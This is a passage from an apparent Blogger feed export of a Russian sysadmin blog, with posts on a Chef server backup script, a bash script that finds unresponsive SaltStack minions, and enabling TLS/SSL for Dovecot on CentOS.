&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/server-side/chef-backup.sh&lt;/span&gt; --restore &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/from&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;tar&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://bzip.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Bzip2&quot;&gt;bz2&lt;/a&gt; &lt;span style=&quot;color: #c34e00;&quot;&gt;# for restore&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Эта зверюшка, умеет:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;создавать архив всего перечисленного в формате tar.bz2&lt;/li&gt;
&lt;li&gt;сохранять сие чудо в&amp;nbsp;/var/backups в 2-х экземплярах&lt;/li&gt;
&lt;li&gt;восстанавливаться из архива&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Скрипт лежит тут:&amp;nbsp;https://github.com/sc0rp1us/cehf-useful-scripts&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_e.png?x-id=8b0e3b6e-acb0-45fb-ad19-a4d67256b8cf&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/8044169322660108860/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2014/01/backup-and-restore-chef-server-v11.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8044169322660108860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8044169322660108860'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2014/01/backup-and-restore-chef-server-v11.html' title='Backup and Restore Chef Server V11'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-6632042274226734833</id><published>2013-05-29T15:24:00.000+07:00</published><updated>2013-05-29T15:24:11.569+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bash"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Salt"/><category scheme="http://www.blogger.com/atom/ns#" term="SaltStack"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>SaltStack - Ищем &quot;Мёртвые души‎&quot;</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s1600/SaltStack-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;91&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s320/SaltStack-Logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Начав использование SaltStack я столкнулся с проблемой &lt;b&gt;&quot;Как узнать какие из машин мне не ответили?&quot;&lt;/b&gt;&lt;br /&gt;
Конечно может быть я плохо искал, но ничего полезного не обнаружил.&lt;br /&gt;
&lt;br /&gt;
Зато все знают как узнать какие машины доступны, это просто:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;salt &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;*&#39;&lt;/span&gt; &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;ping&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
Это может решить проблему в случае у вас меньше 10-ка управляемых хостов.&lt;br /&gt;
Но если их несколько 10-тков или 100-тен то быть уверенным в том что при деплое проекта на &amp;nbsp;все машины будет залит код, и всё будет корректно настроено.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Таким образом я дошел до bash&#39;ового скрипто-ложества.&lt;br /&gt;
&lt;br /&gt;
Вообще есть мысль оформить это модулем к Salt&#39;y и запушить в проект, но отложим это на то время когда будет время.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;#!&lt;/span&gt;&lt;span style=&quot;color: #007997;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.gnu.org/software/bash/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Bash (Unix shell)&quot;&gt;/bin/bash&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt; -   &lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;#title          :salt_dead_spirits.sh&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;#description    :The script for search a dead spirits in SaltStack&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;#author         :Artem Chekunov &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #7144c4;&quot;&gt;scorp.dev.null@gmail.com&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;#date           :20130529&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;#version        :0.1    &lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;#usage          :./salt_dead_spirits.sh&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;#notes          :       &lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;#bash_version   :4.2.37(1)-release&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;#============================================================================&lt;/span&gt;

_Tfile&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;tempfile&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;

salt &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;*&#39;&lt;/span&gt; &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;ping &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Grep&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Grep&quot;&gt;grep&lt;/a&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-v&lt;/span&gt; True &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; ${_Tfile}
salt-key &lt;span style=&quot;color: #44aadd;&quot;&gt;-L&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; grep &lt;span style=&quot;color: #44aadd;&quot;&gt;-v&lt;/span&gt; Keys &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; ${_Tfile} 

cat ${_Tfile} &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; sort &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; uniq &lt;span style=&quot;color: #44aadd;&quot;&gt;-c&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; sort &lt;span style=&quot;color: #44aadd;&quot;&gt;-n&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; awk &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;{ if($1 ~ 1) print $2 }&#39;&lt;/span&gt;

rm &lt;span style=&quot;color: #44aadd;&quot;&gt;-f&lt;/span&gt; ${_Tfile}
&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
На выходе должен появиться список хостов(ключей) которые не доступны в данный момент.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;ВАЖНО:&amp;nbsp;&lt;/b&gt;&lt;i&gt;Удалять мёртвые души поскольку их наличие заметно замедляет групповое управление нодами&lt;/i&gt;&amp;nbsp;&amp;nbsp;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;ЕЩЁ&amp;nbsp;&lt;/b&gt;&lt;b&gt;ВАЖНО:&lt;/b&gt; &lt;i&gt;Кстати говоря, заметил такую вещь.&lt;br /&gt;Иногда миньоны анонсируют свои ключи и для имени хоста и для полного имени хоста с доменом &lt;b&gt;пример(myhost1,&amp;nbsp;myhost1.mycompany.ltd)&lt;/b&gt; в таких случаях миньоны будут отвечать только при запросе на &lt;b&gt;myhost1.mycompany.ltd&lt;/b&gt; Соответственно чтобы не путаться необходимо удалить ключи привязанные к хостнэйму без домена, &lt;b&gt;пример(salt-key -d myhost1)&lt;/b&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;


&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=40f42d4c-1f2e-4a34-9432-79d819c92c78&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/6632042274226734833/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/05/saltstack.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/6632042274226734833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/6632042274226734833'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/05/saltstack.html' title='SaltStack - Ищем &quot;Мёртвые души‎&quot;'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s72-c/SaltStack-Logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-5618028388339540694</id><published>2013-04-30T01:07:00.000+07:00</published><updated>2013-04-30T01:16:38.212+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Dovecot"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Mail"/><category scheme="http://www.blogger.com/atom/ns#" term="SSL"/><category scheme="http://www.blogger.com/atom/ns#" term="TLS"/><title type='text'>Включаем поддержку TLS/SSL для Dovecot в CentOS x86_64 </title><content type='html'>&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container zemanta-img&quot; style=&quot;float: right; margin-right: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;a href=&quot;http://commons.wikipedia.org/wiki/File:Postfix-logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: clear:right;&quot;&gt;&lt;img alt=&quot;English:&quot; border=&quot;0&quot; class=&quot;zemanta-img-inserted&quot; height=&quot;91&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/d/d9/Postfix-logo.png&quot; style=&quot;border: none; font-size: 0.8em;&quot; width=&quot;130&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption zemanta-img-attribution&quot; style=&quot;text-align: center; width: 130px;&quot;&gt;English: (Photo credit: &lt;a href=&quot;http://commons.wikipedia.org/wiki/File:Postfix-logo.png&quot; target=&quot;_blank&quot;&gt;Wikipedia&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Логическим продолжением статьи &lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/postfix-dovecot-sasl-virtualhosts.html&quot;&gt;Postfix и Dovecot SASL + VirtualHosts в CentOS 6 x86_64&lt;/a&gt; стала текущая тема.&lt;br /&gt;
&lt;br /&gt;
Хочется заранее предупредить, если вы только что поставили Dovecot, и собираетесь&amp;nbsp;использовать&amp;nbsp;самоподписной&amp;nbsp;сертификат, то не беспокойтесь.&lt;br /&gt;
Dovecot уже&amp;nbsp;сгенерировал&amp;nbsp;его и служить он будет целый год.&lt;br /&gt;
&lt;br /&gt;
Если же уже прошел год, и вы желаете продолжать использовать самоподпись то воспользуйтесь этим скриптом для&amp;nbsp;перегенерации&amp;nbsp;сертификата.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/usr/libexec/dovecot/mkcert.sh&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Если же вы купили честный сертификат, то читаем дальше.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
В начале начал как всегда нужно сделать BackUP конфига&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;cp &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-ssl.conf&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;,&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;bak_$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;date +%Y%m%d_%R&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
И открыть порты в &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.netfilter.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Iptables&quot;&gt;iptables&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;iptables -I INPUT &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt; -m state --state NEW -m tcp &lt;span style=&quot;color: #44aadd;&quot;&gt;-p&lt;/span&gt; tcp --dport &lt;span style=&quot;color: #c00000;&quot;&gt;993&lt;/span&gt; -j ACCEPT
iptables -I INPUT &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt; -m state --state NEW -m tcp &lt;span style=&quot;color: #44aadd;&quot;&gt;-p&lt;/span&gt; tcp --dport &lt;span style=&quot;color: #c00000;&quot;&gt;995&lt;/span&gt; -j ACCEPT
&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/iptables&lt;/span&gt; save
&lt;/b&gt; iptables&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; Saving firewall rules to &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/sysconfig/iptables&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;  OK  &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пропишем в конфиге местоположение честных сертификатов&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ssl_cert =&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ssl_cert = &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Backslash&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Backslash&quot;&gt;\/&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;etc&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ssl&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;certs&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;server.crt&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-ssl.conf&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ssl_key =&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ssl_key = &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;etc&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ssl&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;private&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;server.key&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-ssl.conf&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
И конечно не забудем перезапустить демона&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/dovecot&lt;/span&gt; restart
&lt;/b&gt; Stopping Dovecot &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Internet_Message_Access_Protocol&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Internet Message Access Protocol&quot;&gt;Imap&lt;/a&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                     &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 Starting Dovecot Imap&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                     &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
Читайте так же&amp;nbsp;&lt;a class=&quot;GIL3GQOBOB&quot; href=&quot;http://sc0rp1us.blogspot.ru/2013/04/tlsssl-postfix.html&quot; style=&quot;border: 0px; color: #1155cc; font-family: Arial, Helvetica, sans-serif; font-size: 13px; margin: 0px 10px 0px 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot;&gt;Включаем поддержку TLS/SSL в Postfix&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=5f21a09d-e348-44d8-b785-6b9e14a6af67&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/5618028388339540694/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/tlsssl-dovecot-centos-x8664.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/5618028388339540694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/5618028388339540694'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/tlsssl-dovecot-centos-x8664.html' title='Включаем поддержку TLS/SSL для Dovecot в CentOS x86_64 '/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-9092779898780581264</id><published>2013-04-30T00:24:00.000+07:00</published><updated>2013-04-30T01:15:50.438+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Mail"/><category scheme="http://www.blogger.com/atom/ns#" term="Postfix"/><category scheme="http://www.blogger.com/atom/ns#" term="SSL"/><category scheme="http://www.blogger.com/atom/ns#" term="TLS"/><title type='text'>Включаем поддержку TLS/SSL в Postfix</title><content type='html'>&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container zemanta-img&quot; style=&quot;float: right; margin-right: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
